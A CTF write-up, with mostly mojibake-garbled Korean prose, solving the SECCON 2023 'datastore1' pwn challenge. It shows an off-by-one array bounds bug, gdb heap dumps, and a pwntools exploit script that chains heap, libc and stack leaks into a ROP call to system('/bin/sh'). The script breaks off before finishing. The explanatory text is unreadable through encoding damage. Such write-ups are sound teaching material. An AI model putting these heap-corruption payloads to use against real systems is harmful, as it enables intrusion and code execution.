SECCON CTF 2023 Quals - datastore1
๋ชฉ์ฐจ
SECCON CTF 2023 Quals pwnable challenge ๋ฐ์ดํฐ๋ฅผ ํน์ดํ ๋ฐฉ์์ผ๋ก ์ ์ฅํด์ ์ฒ์์ ์ ์ํ๊ธฐ ๊น๋ค๋ก์ ๋ค. ์ด๋ ต๊ฒ ์๊ฐํ์ง ๋ง๊ณ ์ด๋ค ๋ฐ์ดํฐ๋ฅผ ์
๋ ฅ๊ฐ์ ๋ฐ๋ผ heap์ ๋ฐ์ดํฐ๋ฅผ ์์ ๋กญ๊ฒ ์ ์ฅํ๊ฑฐ๋ ์กฐํํ ์ ์๋ค. ์ทจ์ฝ์ ์ ์
๋ ฅํ ์์ผ ์ด ๊ฐ๋จํ ์ทจ์ฝ์ ์ผ๋ก ์์ด ๋ฐ์ธ๋ค๋ ๋๋๋คโฆ ์ญ์ ์ทจ์ฝ์ ์ ์ฐ์ exploitability๋ฅผ ๋ง๋ก ํ๊ณ bug๋ฅผ ์ฐพ๋๋ค๋ ๊ด์ ์ผ๋ก ๋ด์ผํ๋ ๊ฒ ๊ฐ๋ค. ์ฐ์ ์ทจ์ฝ์ ์ ํธ๋ฆฌ๊ฑฐํ๊ธฐ ์ํด ๋ค์๊ณผ ๊ฐ์ด ์ฌ๊ธฐ์์ ๊ทธ๋ฌ๋ฏ๋ก ์ด๋ ๊ฒ Heap์์ ์ฐ์์ ์ผ๋ก chunk๋ฅผ ํ ๋นํด์ฃผ์ด ๊ทธ๋ฐ๋ฐ ์ด ๋ ๋ฐ๋ผ์ ์ด๋ ๊ฒ overwrite์ ์ฑ๊ณตํ๋ฉด ์ด์ OOB๋ฅผ ์ด์ฉํด ์ payload๋ฅผ ์ด์ฉํด ์ด๋ ๊ฒ OOB ์ทจ์ฝ์ ์ ์ด์ฉํด์ ์ด์ฐ๋๊ฑด ์ด๋ฅผ ์ํด heap leak ๊ณผ์ ์์ ์ด๋ ๊ฒ payload๋ฅผ ์์ฑํ ๋ค ๋ฉ๋ชจ๋ฆฌ๋ฅผ ๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ๋ค. ์ด์ ์ผ ์ payload์ ๊ฐ์ด ๋ฌธ์ ๋ฅผ ํ ๋๋ ๋๋ ทํ ๋ชฉ์ ์ฑ ์์ด *โheap overflow๊ฐ ๊ฐ๋ฅํ๋๊น ์ผ๋จ chunk size๋ฅผ ๋ฎ์ด์ libc leak์ ํด์ผ๊ฒ ๋คโ*๊ณ ์๊ฐํ๋๋ฐโฆ *โPIE๋ ์ผ์ ธ์๊ณ Full Relro๋ ์ ์ฉ๋์ด์์ผ๋ GOT overwrite๋ ํฌ๊ธฐํ๊ณ libc leak -> stack leak์ ํด์ return address๋ฅผ ๋ฎ์ด์ผ๊ฒ ๋คโ*๊ฐ ์ฌ๋ฐ๋ฅธ ์ฌ๊ณ ์ ๊ณผ์ ์ธ ๊ฒ ๊ฐ๋ค. ์๋ฌดํผ chunk๋ฅผ ํนํ ์ธ ๋ฒ์งธ ์กฐ๊ฑด๊ณผ ๋ฐ๋๋ก ์กฐ๊ฑด์ ํ๋์ฉ ๋ง์ถ๊ธฐ ์ํด ์์ heap overflow ์ํฉ์์์ ๋ฉ๋ชจ๋ฆฌ๋ฅผ ๋ณด๋ฉด, ๋ฐ๋ผ์ chunk size overwrite์ ์ด์ ๋ ๋ฒ์งธ, ์ธ ๋ฒ์งธ ์กฐ๊ฑด์ ๋ง์ถ๊ธฐ ์ํ payload๋ ๋ค์๊ณผ ๊ฐ๋ค. Libc ์ฃผ์๊ฐ ์์ผ๋ ์์์๋ chunk ํ ๋น๊ณผ ํด์ ๋ฅผ ํ๊ธฐ ๋๋ฌธ์ chunk ๊ตฌ์กฐ๋ฅผ ๋ง์ถฐ์ payload๋ฅผ ์์ฑํ๋๋ฐ, ์ด์ ๋ ๊ทธ๋ด ํ์๊ฐ ์์ผ๋ ๋ง์ง๋ง์ผ๋ก RIP control์ ์ํด์ ๋ค๋ง ์ด ๋ 0x00. Introduction
[*] '/home/user/datastore1'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled Structure
typedef struct {
type_t type;
union {
struct Array *p_arr;
struct String *p_str;
uint64_t v_uint;
double v_float;
};
} data_t;
typedef struct Array {
size_t count;
data_t data[];
} arr_t;
typedef struct String {
size_t size;
char *content;
} str_t;data_t์ ์ ์ฅํ๋๋ฐ, ๋ฐ์ดํฐ์ ์ ํ์ ๋ฐ๋ผ ๋ค๋ฅธ ๋ฐฉ์์ผ๋ก ์ ์ฅํ๋ค๊ณ ์๊ฐํ๋ฉด ๋๋ค. Concept
โ ./datastore1
MENU
1. Edit
2. List
0. Exit
> 1
Current: <EMPTY>
Select type: [a]rray/[v]alue
> a
input size: 4
MENU
1. Edit
2. List
0. Exit
> 2
List Data
<ARRAY(4)>
[00] <EMPTY>
[01] <EMPTY>
[02] <EMPTY>
[03] <EMPTY> 0x01. Vulnerability
edit() ํจ์์์ Array๋ฅผ ๋ค๋ฃฐ ๋ ๋ฐ์ํ๋ค.static int edit(data_t *data){
...
switch(data->type){
case TYPE_ARRAY:
arr_t *arr = data->p_arr;
printf("index: ");
unsigned idx = getint();
if(idx > arr->count)
return -1;
...
}
}idx ๊ฐ์ด arr->count๋ณด๋ค ํฐ ์ง ๊ฒ์ฆํ๋๋ฐ, ๋ ๊ฐ์ด ๊ฐ์ ๊ฒฝ์ฐ๋ฅผ ๊ฒ์ฆํ์ง ์์ OOB๊ฐ ๋ฐ์ํ๋ค. ์๋ฅผ ๋ค์ด arr->count๊ฐ 4์ด๋ฉด data[0]~data[3]์ด ์์ฑ๋๋๋ฐ, ์์ง๋ ์์ data[4]์ ์ ๊ทผํ ์ ์์ด arr ๋ฐ๋ก ๋ค์ ์์ญ์ ์ ๊ทผํ ์ ์๋ค. 0x02. Exploit
Heap Leak
Array๋ฅผ ํ ๋นํ๋ค. edit(s, 'u', [], 'a', 1)
edit(s, 'u', [0], 'a', 4)
edit(s, 'u', [0, 0], 'a', 4)
edit(s, 'u', [0, 1], 'a', 4)
edit(s, 'u', [0, 2], 'a', 4)
edit(s, 'u', [0, 3], 'a', 4)edit()์ ์ธ ๋ฒ์งธ ์ธ์์ ๋ค์ด๊ฐ๋ list๋ Array์ index๋ฅผ ๋ปํ๋๋ฐ, ์๋ฅผ ๋ค๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.root->*p_arredit(s, 'u', [0, 1], 'a', 4)์ ์๋ฏธ๋ โ[00] -> [01] ์์น์ ๊ธธ์ด๊ฐ 4์ธ arr_t๋ฅผ ์์ฑํ๋คโ ๋ ์๋ฏธ๋ฅผ ๊ฐ์ง๋ค.data_t ๊ฐ์ฒด๋ค์ ์์ฑํ๋ฉด ๋ฉ๋ชจ๋ฆฌ๋ ๋ค์๊ณผ ๊ฐ๋ค.# root : 0x5555555592a0
gefโค x/2gx 0x5555555592a0
0x5555555592a0: 0x00000000feed0001 0x00005555555592c0
# []
gefโค x/3gx 0x00005555555592c0
0x5555555592c0: 0x0000000000000001 0x00000000feed0001
0x5555555592d0: 0x00005555555592e0
# [0]
gefโค x/9gx 0x00005555555592e0
0x5555555592e0: 0x0000000000000004 0x00000000feed0001
0x5555555592f0: 0x0000555555559330 0x00000000feed0001
0x555555559300: 0x0000555555559380 0x00000000feed0001
0x555555559310: 0x00005555555593d0 0x00000000feed0001
0x555555559320: 0x0000555555559420
# [0, 0]
gefโค x/10gx 0x0000555555559330
0x555555559330: 0x0000000000000004 0x0000000000000000 # [0, 0, 0]
0x555555559340: 0x0000000000000000 0x0000000000000000 # [0, 0, 1]
0x555555559350: 0x0000000000000000 0x0000000000000000 # [0, 0, 2]
0x555555559360: 0x0000000000000000 0x0000000000000000 # [0, 0, 3]
0x555555559370: 0x0000000000000000 0x0000000000000051 # [0, 0, 4] < OOB
# [0, 1]
gefโค x/9gx 0x0000555555559380
0x555555559380: 0x0000000000000004 0x0000000000000000
0x555555559390: 0x0000000000000000 0x0000000000000000
0x5555555593a0: 0x0000000000000000 0x0000000000000000
0x5555555593b0: 0x0000000000000000 0x0000000000000000
0x5555555593c0: 0x0000000000000000[0, 0]๊ณผ [0, 1]์ด ์ธ์ ํ ๋ฉ๋ชจ๋ฆฌ ๊ตฌ์กฐ๋ฅผ ํ์ธํ ์ ์๋ค. ๋ฐ๋ผ์ OOB ์ทจ์ฝ์ ์ ์ด์ฉํด์ ์กด์ฌํ์ง ์๋ [0, 0, 4]์ ์ ๊ทผํ๊ฒ ๋๋ฉด 0x555555559378~0x555555559380 ์์ญ์ overwriteํ ์ ์๊ฒ ๋๋ค.0x555555559378 : [0, 1] chunk์ header0x555555559380 : [0, 1]->countshow() ํจ์์์ ๊ฐ์ฒด์ ํฌ๊ธฐ๋ฅผ ์ฐธ์กฐํ์ฌ data_t->type๊ณผ ํจ๊ป ์ถ๋ ฅํด์ฃผ๋ฏ๋ก, count์ ์ด๋ค ์ฃผ์๊ฐ ์ฐ์ด๋๋ก ํ ์ ์๋ค๋ฉด leak์ด ๊ฐ๋ฅํ๋ค.Current: <ARRAY(4)>
[00] <ARRAY(4)>
[01] <ARRAY(4)>
[02] <ARRAY(4)>
[03] <ARRAY(4)>[0, 0, 4]์ ์๋ก์ด arr_t๋ฅผ ํ ๋นํ ๊ฒฝ์ฐ, ๋ค์๊ณผ ๊ฐ์ด ํ ๋น์ด ๋๋ค.0x555555559378 : [0, 1] chunk์ header -> data_t->type0x555555559380 : [0, 1]->count -> data_t->*p_arr[0, 0, 4]์ ์ ๊ทผ ์ edit()์์ show() ํจ์๋ฅผ ํธ์ถํด ํ์ฌ ์ ์ฅ๋ ๋ฐ์ดํฐ์ ์ํ๋ฅผ ๋ณด์ฌ์ค๋ค.static int edit(data_t *data){
if(!data)
return -1;
printf("\nCurrent: ");
show(data, 0, false);
...
}data_t->type์ chunk size์ธ 0x51์ด ์ ์ฅ๋์ด์๊ณ ์ด๋ type_t์ ์ ์๋์ง ์์ ๊ฐ์ด๊ธฐ ๋๋ฌธ์ show() ํจ์์์ exit()์ด ํธ์ถ๋์ด๋ฒ๋ฆฐ๋ค.static int show(data_t *data, unsigned level, bool recur){
...
switch(data->type){
case TYPE_EMPTY:
puts("<EMPTY>");
break;
...
default:
puts("<UNKNOWN>");
exit(1);
}
return 0;
}arr_t ์์ฑ ์ ์ edit()์ delete๋ฅผ ์ด์ฉํ์ฌ data_t->type์ผ๋ก ํด์๋๋ ๊ฐ์ 0์ผ๋ก ์ด๊ธฐํํ ํ์๊ฐ ์๋ค. # overwrite arr_t.count of [0, 1]
edit(s, 'd', [0, 0, 4])
edit(s, 'u', [0, 0, 4], 'a', 2)[0, 1]->count ๋ถ๋ถ์ ์๋ก์ด arr_t ์ฃผ์๊ฐ ๋ด๊ธฐ๊ฒ ๋๊ณ , show()๋ฅผ ์ด์ฉํด ๊ฐ์ ์ถ๋ ฅํ ์ ์๋ค. Heap Overflow
arr_t๋ก heap leak์ด ๊ฐ๋ฅํ์ผ๋ ๋ค๋ฅธ ๊ตฌ์กฐ์ฒด์ธ str_t์ ์ด์ฉํด exploit์ ์๋ํ๋ ค๊ณ ํ๋ค.typedef struct String {
size_t size;
char *content;
} str_t;size, *content๋ฅผ ๋ฎ์ผ๋ฉด ์์ ์ฃผ์๋ฅผ read / writeํ ์ ์๊ฒ ๋ค๋ ์๊ฐ์ด ๋ค์๋ค. edit(s, 'u', [0, 2, 0], 'v', "A" * 0x10)
edit(s, 'u', [0, 2, 1], 'v', "B" * 0x10)
edit(s, 'u', [0, 2, 2], 'v', "C" * 0x10)str_t ๊ฐ์ฒด๋ค์ ํ ๋นํ๋ฉด ๋ฉ๋ชจ๋ฆฌ ๊ตฌ์กฐ๋ ๋ค์๊ณผ ๊ฐ๋ค.gefโค x/10gx 0x0000555555559420
0x555555559420: 0x0000000000000004 0x0000000000000000 # [0, 3]
0x555555559430: 0x0000000000000000 0x0000000000000000
0x555555559440: 0x0000000000000000 0x0000000000000000
0x555555559450: 0x0000000000000000 0x0000000000000000
0x555555559460: 0x0000000000000000 0x0000000000000021
gefโค
0x555555559470: 0x0000000000000001 0x0000000000000000 # [0, 0, 4]
0x555555559480: 0x0000000000000000 0x0000000000000021
0x555555559490: 0x4141414141414141 0x4141414141414141 # [0, 2, 0]->content
0x5555555594a0: 0x0000000000000000 0x0000000000000051
0x5555555594b0: 0x0000000555555559 0xaf03f4adbccb3443 # leftover buf
gefโค
0x5555555594c0: 0x0000000000000000 0x0000000000000000
0x5555555594d0: 0x0000000000000000 0x0000000000000000
0x5555555594e0: 0x0000000000000000 0x0000000000000000
0x5555555594f0: 0x0000000000000000 0x0000000000000021
0x555555559500: 0x0000000000000010 0x0000555555559490 # [0, 2, 0] ; "AAAA"[0, 2, 0]์ size์ *content๋ฅผ ๋ฎ๊ณ ์ถ์ด๋ ์ธ์ ํ ์์ญ์ ํ ๋น๋์ง ์๋๋ฐ, create()์์ ์
๋ ฅ์ ๋ฐ๋ ๋ฐฉ์ ๋๋ฌธ์ ๋ฐ์ํ๋ ๋ฌธ์ ์ด๋ค.static int create(data_t *data){
...
else { // type == 'v'
char *buf, *endptr;
printf("input value: ");
scanf("%70m[^\n]%*c", &buf);
if(!buf){
getchar();
return -1;
}
...
str_t *str = (str_t*)malloc(sizeof(str_t));
if(!str){
free(buf);
return -1;
}
str->size = strlen(buf);
str->content = buf;
buf = NULL;
data->type = TYPE_STRING;
data->p_str = str;
fin:
free(buf);
}
return 0;
}scanf()๋ฅผ ๋ณด๋ฉด ํน์ดํ formatter๋ฅผ ์ฌ์ฉํ๋๋ฐ, m์ GNU ํ์ฅ ๊ธฐ๋ฅ ์ค ํ๋๋ก heap ๋ฉ๋ชจ๋ฆฌ๋ฅผ ํ ๋นํ์ฌ ์
๋ ฅ๊ฐ์ ์ ์ฅํ๋ค. ์์ธํ ๋ณด๋ฉด buf์ ์
๋ ฅ์ ๋ฐ์ ๋ค์ ์ฃผ์๋ฅผ str->content์ ๋ฃ์ด๋๊ณ free()์ํค๋๋ฐ, ์ด์ฐจํผ buf๊ฐ NULL๋ก ์ด๊ธฐํ๋๊ธฐ ๋๋ฌธ์ ์๋ฌด๋ฐ ํด์ ๊ฐ ์ผ์ด๋์ง๋ ์๋๋ค.scanf()๋ฅผ ํ ๋ 70๋ฐ์ดํธ๋ฅผ ์
๋ ฅ๋ฐ๊ธฐ ์ํด ๋ฉ๋ชจ๋ฆฌ๋ฅผ ํ ๋นํ๊ณ , ์
๋ ฅ๊ฐ์ ์ ์ฅํ ๋ค ๋๋จธ์ง ๋ฉ๋ชจ๋ฆฌ๋ ํด์ ํ๋ ๋์์ ์ํํ๋ค. ์ด ๊ณผ์ ์์ heap์ ์ฌ์ฉํ๊ธฐ ๋๋ฌธ์ str_t๋ณด๋ค buf๊ฐ ๋จผ์ ํ ๋น๋์ด ์ธ์ ํ ์์ญ์ [0, 2, 0]์ด ํ ๋น๋์ง ์๋๋ค. ๋ฐ๋ผ์ str_t์ chunk size์ ๋์ผํ ํฌ๊ธฐ๋ฅผ ๊ฐ์ง๋ chunk๋ฅผ ํด์ ํด๋๊ณ create()๋ฅผ ํธ์ถํ๋๋ก payload๋ฅผ ์์ฑํด์ผํ๋ค.[0, 1]->count๋ฅผ overwriteํ ๋ chunk size๊ฐ 0x20์ด ๋๋๋ก arr_t->count๊ฐ 1์ธ ๊ฐ์ฒด๋ฅผ [0, 0, 4]์ ์์ฑํ์๋ค. # free [0, 0, 4] (0x20 chunk) and reallocate it to [0, 2, 0] (str_t, also 0x20)
edit(s, 'd', [0, 0, 4])
edit(s, 'u', [0, 2, 0], 'v', "A" * 0x30)
edit(s, 'u', [0, 2, 1], 'v', "B" * 0x10)
edit(s, 'u', [0, 2, 2], 'v', "C" * 0x10)gefโค x/10gx 0x0000555555559420
0x555555559420: 0x0000000000000004 0x0000000000000000 # [0, 3]
0x555555559430: 0x0000000000000000 0x0000000000000000
0x555555559440: 0x0000000000000000 0x0000000000000000
0x555555559450: 0x0000000000000000 0x0000000000000000
0x555555559460: 0x0000000000000000 0x0000000000000021
gefโค
0x555555559470: 0x0000000000000010 0x0000555555559490 # [0, 2, 0] ; "AAAA"
0x555555559480: 0x0000000000000000 0x0000000000000021
0x555555559490: 0x4141414141414141 0x4141414141414141 # [0, 2, 0]->content
0x5555555594a0: 0x0000000000000000 0x0000000000000051
0x5555555594b0: 0x0000000555555559 0x5d50bdc37f682be0 # leftover buf
gefโค
0x5555555594c0: 0x0000000000000000 0x0000000000000000
0x5555555594d0: 0x0000000000000000 0x0000000000000000
0x5555555594e0: 0x0000000000000000 0x0000000000000000
0x5555555594f0: 0x0000000000000000 0x0000000000000021
0x555555559500: 0x4242424242424242 0x4242424242424242 # [0, 2, 1]->content[0, 2, 0]์ด [0, 3]๊ณผ ์ธ์ ํ๊ฒ ํ ๋น๋์์ผ๋ฏ๋ก OOB ์ทจ์ฝ์ ์ ์ด์ฉํ ์ ์๋ค. # now that [0, 2, 0] is where [0, 0, 4] was, overwrite str_t.size of [0, 2, 0]
edit(s, 'd', [0, 3, 4])
edit(s, 'u', [0, 3, 4], 'v', 0x1000)[0, 3, 4]์ ์ ๊ทผํ์ฌ v_uint๋ก ํด์๋๊ฒ๋ 0x1000์ ์
๋ ฅํ๋ฉด ๋ฉ๋ชจ๋ฆฌ์ ๋ค์๊ณผ ๊ฐ์ด ์ ์ฅ๋๋ค.gefโค x/8gx 0x555555559460
0x555555559460: 0x0000000000000000 0x00000000feed0003
0x555555559470: 0x0000000000001000 0x0000555555559490 # [0, 2, 0] ; "AAAA"
0x555555559480: 0x0000000000000000 0x0000000000000021
0x555555559490: 0x4141414141414141 0x4141414141414141str_t ๊ตฌ์กฐ์ฒด์ธ [0, 2, 0]->size ์์ญ์ 0x1000์ด ์ฐ์ฌ์ก์ผ๋ ์ด ๊ฐ์ฒด๋ฅผ ์ด์ฉํ์ฌ *content์ ์ ์ฅ๋ ์ฃผ์์ธ 0x555555559490๋ถํฐ 0x1000๋ฐ์ดํธ๋ฅผ ์์ ๋กญ๊ฒ overwriteํ ์ ์๋ค. Libc Leak
unsorted bin์ผ๋ก ๋ณด๋ด์ main_arena ์ฃผ์๊ฐ ๋ด๊ธฐ๊ฒํ๋ ๊ธฐ๋ฒ์ ํตํด libc leak์ ์งํํ์๋ค. ์ด ๋ ๋ช ๊ฐ์ง ๋ง์ถฐ์ผ ํ ์กฐ๊ฑด์ด ์์๋๋ฐ, ๊ทธ๋ ์ง ์์ผ๋ฉด chunk๊ฐ unsorted bin์ผ๋ก ๋ณด๋ด์ง์ง ์๋๋ค.next_chunk)next_chunk๊ฐ top chunk๊ฐ ์๋ ๊ฒnext_chunk๊ฐ top chunk์ผ ๊ฒฝ์ฐ ๊ทธ๋ฅ top chunk์ ๋ณํฉ๋์ด๋ฒ๋ ค์ chunk๊ฐ unsorted bin์ผ๋ก ๋ณด๋ด์ง์ง ์๋๋ค.gefโค x/20gx 0x555555559470
0x555555559470: 0x0000000000001000 0x0000555555559490 # [0, 2, 0] ; "AAAA"
0x555555559480: 0x0000000000000000 0x0000000000000021
0x555555559490: 0x4141414141414141 0x4141414141414141 # [0, 2, 0]->content
0x5555555594a0: 0x0000000000000000 0x0000000000000051
0x5555555594b0: 0x0000000555555559 0x2da0f37bfd770960
0x5555555594c0: 0x0000000000000000 0x0000000000000000
0x5555555594d0: 0x0000000000000000 0x0000000000000000
0x5555555594e0: 0x0000000000000000 0x0000000000000000
0x5555555594f0: 0x0000000000000000 0x0000000000000021
0x555555559500: 0x4242424242424242 0x4242424242424242 # [0, 2, 1]->content
gefโค
0x555555559510: 0x0000000000000000 0x0000000000000051
0x555555559520: 0x000055500000c1e9 0x2da0f37bfd770960
0x555555559530: 0x0000000000000000 0x0000000000000000
0x555555559540: 0x0000000000000000 0x0000000000000000
0x555555559550: 0x0000000000000000 0x0000000000000000
0x555555559560: 0x0000000000000000 0x0000000000000021
0x555555559570: 0x0000000000000010 0x0000555555559500 # [0, 2, 1] ; "BBBB"
0x555555559580: 0x0000000000000000 0x0000000000000021
0x555555559590: 0x4343434343434343 0x4343434343434343 # [0, 2, 2]->content
0x5555555595a0: 0x0000000000000000 0x0000000000000051
gefโค
0x5555555595b0: 0x000055500000c079 0x2da0f37bfd770960
0x5555555595c0: 0x0000000000000000 0x0000000000000000
0x5555555595d0: 0x0000000000000000 0x0000000000000000
0x5555555595e0: 0x0000000000000000 0x0000000000000000
0x5555555595f0: 0x0000000000000000 0x0000000000000021
0x555555559600: 0x0000000000000010 0x0000555555559590 # [0, 2, 2] ; "CCCC"
0x555555559610: 0x0000000000000000 0x0000000000000021
0x555555559620: 0x0000000555555559 0x2da0f37bfd770960
0x555555559630: 0x0000000000000000 0x0000000000000051
0x555555559640: 0x000055500000c0e9 0x2da0f37bfd770960[0, 2, 2]์ chunk size๋ฅผ 0x421๋ก ๋ฐ๊ฟ free()์ํจ ํ main_arena ์ฃผ์๊ฐ ์ฐ์ด๋ฉด [0, 2, 1]->*content๋ฅผ [0, 2, 2] ์ฃผ์๋ก ๋ฐ๊ฟ ์ถ๋ ฅ์ ํ๊ฒ๋ ์๋๋ฆฌ์ค๋ฅผ ๊ตฌ์ฑํ๋ค.[0, 2, 1]->*content๋ฅผ ๋ฐ๊พธ๋ ๊ฒ์ ๊ณ ๋ คํด์ payload๋ฅผ ๋ค์๊ณผ ๊ฐ์ด ์์ฑํ๋ค. ์ด ๋ ๋ค๋ฅธ chunk๋ค์ ๊ฑด๋ค์ด๋ฉด free()์์ ์๋ฌ๊ฐ ๋ฐ์ํด ๊ตฌ์กฐ๋ฅผ ๊ทธ๋๋ก ์ ์งํ๋๋ก ์์ฑํ์๋ค. # overwrite chunk_size of [0, 2, 2] ("CCCC")
payload = b"A" * 0x10
payload += p64(0) + p64(0x51)
payload += b"\x00" * 0x40
payload += p64(0) + p64(0x21)
payload += b"B" * 0x10
payload += p64(0) + p64(0x51)
payload += b"\x00" * 0x40
payload += p64(0) + p64(0x21)
payload += p64(0x10) + p64(heap + 0x600) # set [0, 2, 1]->content to [0, 2, 2]
payload += p64(0) + p64(0x21)
payload += b"C" * 0x10
payload += p64(0) + p64(0x51)
payload += b"\x00" * 0x40
payload += p64(0) + p64(0x421)
edit(s, 'u', [0, 2, 0], 'e', payload) # align top chunk; nextchunk of 0x420 chunk should not be top chunk
edit(s, 'u', [0, 2, 3], 'a', 0x10)
edit(s, 'u', [0, 2, 3, 0], 'a', 0x10)
edit(s, 'u', [0, 2, 3, 1], 'a', 0x10)
edit(s, 'u', [0, 2, 3, 2], 'a', 0x5)
edit(s, 'u', [0, 2, 3, 3], 'a', 0x1) # next_chunk[0, 2, 3, 2]๊น์ง๋ง ๊ฐ์ฒด๋ค์ ์์ฑํ๋ฉด [0, 2, 2]์ next_chunk๊ฐ top chunk๊ฐ ๋๋ฏ๋ก [0, 2, 3, 3]์ ๊ผญ ์์ฑํด์ฃผ์ด์ผ ํ๋ค.Current: <ARRAY(4)>
[00] <S> AAAAAAAAAAAAAAAA
[01] <S> \xe0\xac\xfa\xf7\xff\x7f
[02] <EMPTY>
[03] <ARRAY(16)>
index: Stack Leak
environ ๋ณ์๋ฅผ ์ด์ฉํด์ stack leak์ด ๊ฐ๋ฅํ๋ค. # arbitrary read (environ)
payload = b"A" * 0xe0
payload += p64(0x10) + p64(libc + lib.symbols['environ'])
edit(s, 'u', [0, 2, 0], 'e', payload)[0, 2, 1]๊ณผ์ offset๋ง ์ ๋ง์ถฐ์ฃผ๋ฉด leak์ด ๊ฐ๋ฅํ๋ค. Ret Overwrite
return address๋ฅผ ๋ฎ๊ธฐ๋ก ํ๋ค. ๋จผ์ [0, 2, 1]->*content๊ฐ main()์ return address๊ฐ ์ ์ฅ๋ stack ์ฃผ์๋ฅผ ๊ฐ๋ฆฌํค๋๋ก ์ค์ ํ๋ค. ์ดํ libc์ ์๋ ๊ฐ์ ฏ์ ์ด์ฉํ์ฌ ์ธ์๋ฅผ ์ค์ ํ๊ณ system() ํจ์๋ฅผ ํธ์ถํ๋ค.syscall ๋น์์ stack alignment๊ฐ ๋ง์ง ์์ pop rdi; pop rbp ๊ฐ์ ฏ์ ์ฌ์ฉํ๋ค. # arbitrary write (ret of main)
payload = b"B" * 0xe0
payload += p64(0x20) + p64(ret)
edit(s, 'u', [0, 2, 0], 'e', payload)
pop_rdi_rbp = 0x2a745
payload = p64(libc + pop_rdi_rbp)
payload += p64(libc + next(lib.search(b"/bin/sh")))
payload += b"C" * 8
payload += p64(libc + lib.symbols['system'])
edit(s, 'u', [0, 2, 1], 'e', payload) 0x03. Payload
from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
from argparse import ArgumentParser
BINARY = "chall"
LIBRARY = "libc.so.6"
CONTAINER = "c471d11acd2a"
code_base = 0x555555554000
bp = {
'ret_main' : 0x555555555418,
}
def edit(s, u_d, index, a_v='a', num=0):
s.sendline(b"1")
r = s.recvuntil(b">\n")
if r.find(b"EMPTY") > 0:
create(s, a_v, num)
elif r.find(b"ARRAY") > 0:
for c, i in enumerate(index):
s.recvuntil(b"index: ")
s.sendline(str(i).encode())
s.recvuntil(b"> ")
if c == len(index) - 1:
if u_d == 'u':
s.sendline(b"1")
if u_d == 'd':
s.sendline(b"2")
return s.recvuntil(b"\n> ")
else:
s.sendline(b"1")
create(s, a_v, num)
return s.recvuntil(b"\n> ")
def create(s, a_v, num):
s.recvuntil(b"> ")
if a_v == 'a':
s.sendline(b"a")
s.recvuntil(b"size: ")
s.sendline(str(num).encode())
elif a_v == 'v':
s.sendline(b"v")
s.recvuntil(b"value: ")
s.sendline(str(num).encode())
else:
s.sendline(num)
def show(s):
s.sendline(b"2")
r = s.recvuntil(b"Exit\n> ")
return r
gs = f'''
b *{bp["ret_main"]}
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']
def main(server, port, debug):
if(port):
s = remote(server, port)
if debug:
pid = os.popen(f"sudo docker top {CONTAINER} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
gdb.attach(int(pid), gs, exe=BINARY)
else:
s = process(BINARY, env={"LD_PRELOAD" : LIBRARY})
if debug:
gdb.attach(s, gs)
elf = ELF(BINARY)
lib = ELF(LIBRARY)
log.info(f"root : 0x5555555592a0")
s.recvuntil(b"Exit\n> ")
edit(s, 'u', [], 'a', 1)
edit(s, 'u', [0], 'a', 4)
edit(s, 'u', [0, 0], 'a', 4)
edit(s, 'u', [0, 1], 'a', 4)
edit(s, 'u', [0, 2], 'a', 4)
edit(s, 'u', [0, 3], 'a', 4)
# overwrite arr_t.count of [0, 1]
edit(s, 'd', [0, 0, 4])
edit(s, 'u', [0, 0, 4], 'a', 1)
# heap leak
s.sendline(b"1")
s.sendlineafter(b"index: ", b"0")
s.sendlineafter(b"> ", b"1")
r = s.sendlineafter(b"index: ", b"10") # invalid index to return menu
heap = int(r.split(b"ARRAY(")[3].split(b")>")[0]) - 0x470
log.info(f"heap : {hex(heap)}")
# free [0, 0, 4] (0x20 chunk) and reallocate it to [0, 2, 0] (str_t, also 0x20)
edit(s, 'd', [0, 0, 4])
edit(s, 'u', [0, 2, 0], 'v', "A" * 0x10)
edit(s, 'u', [0, 2, 1], 'v', "B" * 0x10)
edit(s, 'u', [0, 2, 2], 'v', "C" * 0x10)
# now that [0, 2, 0] is where [0, 0, 4] was, overwrite str_t.size of [0, 2, 0]
edit(s, 'd', [0, 3, 4])
edit(s, 'u', [0, 3, 4], 'v', 0x1000)
# align top chunk; nextchunk of 0x420 chunk should not be top chunk
edit(s, 'u', [0, 2, 3], 'a', 0x10)
edit(s, 'u', [0, 2, 3, 0], 'a', 0x10)
edit(s, 'u', [0, 2, 3, 1], 'a', 0x10)
edit(s, 'u', [0, 2, 3, 2], 'a', 0x5)
edit(s, 'u', [0, 2, 3, 3], 'a', 0x1) # next_chunk
# overwrite chunk_size of [0, 2, 2] ("CCCC")
payload = b"A" * 0x10
payload += p64(0) + p64(0x51)
payload += b"\x00" * 0x40
payload += p64(0) + p64(0x21)
payload += b"B" * 0x10
payload += p64(0) + p64(0x51)
payload += b"\x00" * 0x40
payload += p64(0) + p64(0x21)
payload += p64(0x10) + p64(heap + 0x600) # set [0, 2, 1]->content to [0, 2, 2]
payload += p64(0) + p64(0x21)
payload += b"C" * 0x10
payload += p64(0) + p64(0x51)
payload += b"\x00" * 0x40
payload += p64(0) + p64(0x421)
edit(s, 'u', [0, 2, 0], 'e', payload)
# move [0, 2, 2] ("CCCC") to unsorted bin
edit(s, 'd', [0, 2, 2])
# libc leak
s.sendline(b"1")
s.sendlineafter(b"index: ", b"0")
s.sendlineafter(b"> ", b"1")
s.sendlineafter(b"index: ", b"2")
s.sendlineafter(b"> ", b"1")
r = s.sendlineafter(b"index: ", b"10") # invalid index to return menu
libc = u64(r.split(b"<S> ")[2].split(b"\n")[0] + b"\x00\x00") - 0x21ace0
log.info(f"libc : {hex(libc)}")
# arbitrary read (environ)
payload = b"A" * 0xe0
payload += p64(0x10) + p64(libc + lib.symbols['environ'])
edit(s, 'u', [0, 2, 0], 'e', payload)
# stack leak
s.sendline(b"1")
s.sendlineafter(b"index: ", b"0")
s.sendlineafter(b"> ", b"1")
s.sendlineafter(b"index: ", b"2")
s.sendlineafter(b"> ", b"1")
r = s.sendlineafter(b"index: ", b"10")
stack = u64(r.split(b"<S> ")[2].split(b"\n")[0] + b"\x00\x00")
log.info(f"stack : {hex(stack)}")
ret = stack - 0x120
# arbitrary write (ret of main)
payload = b"B" * 0xe0
payload += p64(0x20) + p64(ret)
edit(s, 'u', [0, 2, 0], 'e', payload)
pop_rdi_rbp = 0x2a745
